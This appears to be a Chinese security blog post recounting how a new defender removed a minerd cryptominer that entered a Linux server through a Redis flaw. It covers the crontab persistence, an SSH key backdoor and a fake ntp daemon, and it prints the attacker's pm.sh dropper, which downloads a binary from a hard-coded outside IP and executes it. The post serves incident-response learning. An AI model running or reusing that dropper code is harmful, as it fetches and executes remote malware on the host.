“抗马”小兵的一次实战记录
来自:freebuf
对于安全工作者来说,木马既是我们的敌人,也是我们的“朋友”。甚至可以这样说,木马使我们进步,安逸使我们落后。这不,这位抗马新兵就不甘落后,分享了他的抗马记录。
刚工作不久就遭遇了3次木马攻击,第一是是root木马,控制服务器对阿里某云进行流量攻击,后两次是minerd木马攻击,使得我们的服务器CPU异常的高,让开发工程师无法正常的登录,造成文件无法读取,工作进度受到了很大影响。有鉴于此,我就跟大家分享一下我在面对minerd木马时的学习与收获。
首先我尝试登陆服务器,但是多次登录失败,而且就算登陆上去,也感觉非常卡顿,运行起来比较困难。用top观察服务器状态,如下图所示:
我发现CPU负载的确很高,同时也看到了主要运行的程序是minerd。之后按照常理我在进程中查找跟minerd相关的信息,如下图所示:
观察到在/opt下存在一个minerd文件,随后进入该目录下发现存在minerd文件:
我随手删掉了minerd文件,又top观察,发现CPU负载依然是很高的,此后我就想观察这个文件是如何运行的,相信大家都有这样的好奇心吧,随后我根据常识去查看cront文件,发现了如下的问题:
一般我们在cront文件下是没有crontabs目录的,但是我进入该目录后,发现多了一个root文件:
进去观察了一下root内容,也发现了一些问题:
主要是关于redis的信息还有一条cront指令,后来发现该木马是通过redis的漏洞进行上传,大家可以去看
http://www.freebuf.com/vuls/85833.html,我出于好奇先对这个pm.sh脚本进行分析,大致内容如下:
PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
machine=`uname -m`
#echo $machine
cs5="CentOS release 5"
cs6="CentOS release 6"
cs7="CentOS Linux release 7"
ub="Ubuntu"
de="Debian"
downFile(){
cd /var/lib //进入这个目录下
if [ -x "/usr/bin/wget" -o -x "/bin/wget" ]; then //判断wget有没有执行权限
wget -c http://101.55.126.66:8990/pm$1 -O /var/lib/pm && chmod +x /var/lib/pm && /var/lib/pm //如果有就会去下载这个
文件并赋予执行权限
elif [ -x "/usr/bin/curl" -o -x "/bin/curl" ]; then//同上
curl -fs http://101.55.126.66:8990/pm$1 -o /var/lib/pm && chmod +x /var/lib/pm && /var/lib/pm //同上
fi
}//主要是对系统类型进行判断来获取不同的执行脚本
if [ $machine = "x86_64" ]; then
if [ -f "/etc/issue" ]; then
version=`cat /etc/issue`
if [[ $version == $cs5* ]]; then
downFile 5
elif [[ $version == $cs6* ]]; then
downFile 6
elif [[ $version == $cs7* ]]; then
downFile 7
elif [[ $version == $ub* ]]; then
downFile ub
elif [[ $version == $de* ]]; then
downFile ub
else
if [ -f "/etc/redhat-release" ]; then
release=`cat /etc/redhat-release
if [[ $release == $cs5* ]]; then
downFile 5
elif [[ $release == $cs6* ]]; then
downFile 6
elif [[ $release == $cs7* ]]; then
downFile 7
fi
fi
fi
fi
fi
之后我在/var/lib下发现了pm程序,取消了该程序的执行权限。然后我去查看黑客是否修改了一些登录认证信息等:
看到日期还有一些文件名感觉有问题,打开名为KHK75NEOiq的文件看到:
黑客很可能利用这个认证进入我们服务器,重启了sshd服务,随后我进入了/etc/init.d目录下发现有名为ntp的服务,Linux带有的服务是ntpd,还是在某度查到的信息,然后看了一下rc.d也发现了关于ntp的一些链接。看ntp的程序代码发现:
从代码中看得出来ntp其实就是该木马的守护程序,所以rm掉ntp,然后kill掉minerd进程7737,发现CPU的负载直线下降,随后在系统中继续寻找ntp相关文件,发现在/var/log的目录下存在两个文件,随后进行删除,本次抗马活动结束。
本次抗马让我对Linux有了更深的理解,对于一个小兵来说更是一笔宝贵的财富。